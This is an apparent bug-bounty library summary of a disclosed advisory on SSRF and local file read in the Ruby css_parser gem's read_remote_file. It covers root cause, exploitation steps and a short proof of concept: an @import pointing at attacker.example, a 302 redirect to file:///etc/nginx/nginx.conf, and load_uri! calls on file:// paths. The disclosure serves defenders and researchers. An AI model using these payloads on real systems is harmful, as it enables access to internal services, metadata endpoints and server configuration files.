# Ruby CSS Parser: SSRF and Local File Disclosure in `CssParser::Parser#read_remote_file`

css_parser's read_remote_file fetches any host/scheme and follows redirects into file://, giving SSRF to internal services and local file read via @import.

- Payout: Research
- Severity: high
- Program: css_parser
- Found by: JLLeitschuh
- Disclosed: 2026-07-09
- CVE: CVE-2026-53727
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-9pmc-p236-855h
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9pmc-p236-855h
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:ruby technique:chained technique:source-review vuln:info-disclosure vuln:path-traversal vuln:ssrf

**Target:** Ruby gem css_parser Parser#read_remote_file / load_uri! / add_block! @import handling
**Root cause:** read_remote_file performs Net::HTTP GETs against any host, port and scheme with no allowlist or private-IP filtering, and recursively follows Location redirects without re-validating scheme, so a 3xx to file:// reaches an unconditional File.read.
**Steps:**
1. Install css_parser 2.2.0 and webrick.
2. Serve attacker CSS containing `@import url("http://127.0.0.1:18080/admin-credentials");`.
3. Call `parser.add_block!(css, base_uri: 'http://attacker.example/')` — base_uri enables the @import-following branch.
4. For file read, have attacker server return `302 Location: file:///etc/nginx/nginx.conf`; the recursive read_remote_file services file:// via File.read.
5. Recover CSS-shaped bytes via `parser.to_s` / `each_selector`; use RemoteFileError vs silence as a file-existence oracle.
**How found:** Code review of read_remote_file noting no scheme/host/IP validation and a recursive redirect call that re-enters the same function including its file:// branch; then empirically tested which file contents survive the CSS tokenizer.
**Exploitation:** Attacker lands one @import in CSS parsed by a Premailer-style consumer with base_uri set; the parser GETs internal endpoints (loopback, RFC-1918, IMDS) and re-emits CSS-shaped response bytes into rendered output, or follows an attacker 302 to file:// to read local block-DSL configs and enumerate filesystem paths.
**Escalation:** Cross-scheme redirect upgrades blind SSRF into local file disclosure; side-effecting GETs hit internal admin endpoints even when responses aren't CSS-shaped.
**Insight:** When auditing SSRF sinks, check whether the redirect handler re-enters the same function that also handles file:// — a single 302 then converts SSRF into LFI; also test which response shapes survive the consumer's parser to know what actually exfiltrates.

## Proof of concept (copied exactly from the original report)

**Cross-scheme redirect to file:// local read**

```
@import url("https://attacker.example/r");

GET https://attacker.example/r
→ 302 Location: file:///etc/nginx/nginx.conf
```

**Direct load_uri! file:// local file read**

```
parser.load_uri!('file:///etc/nginx/nginx.conf')  # direct File.read

…or via a CSS-driven path with an attacker-controlled `@import`:

parser = CssParser::Parser.new
parser.add_block!(File.read('attacker.css'), base_uri: 'file:///etc/')
# attacker.css contains: @import url("nginx/nginx.conf");
```

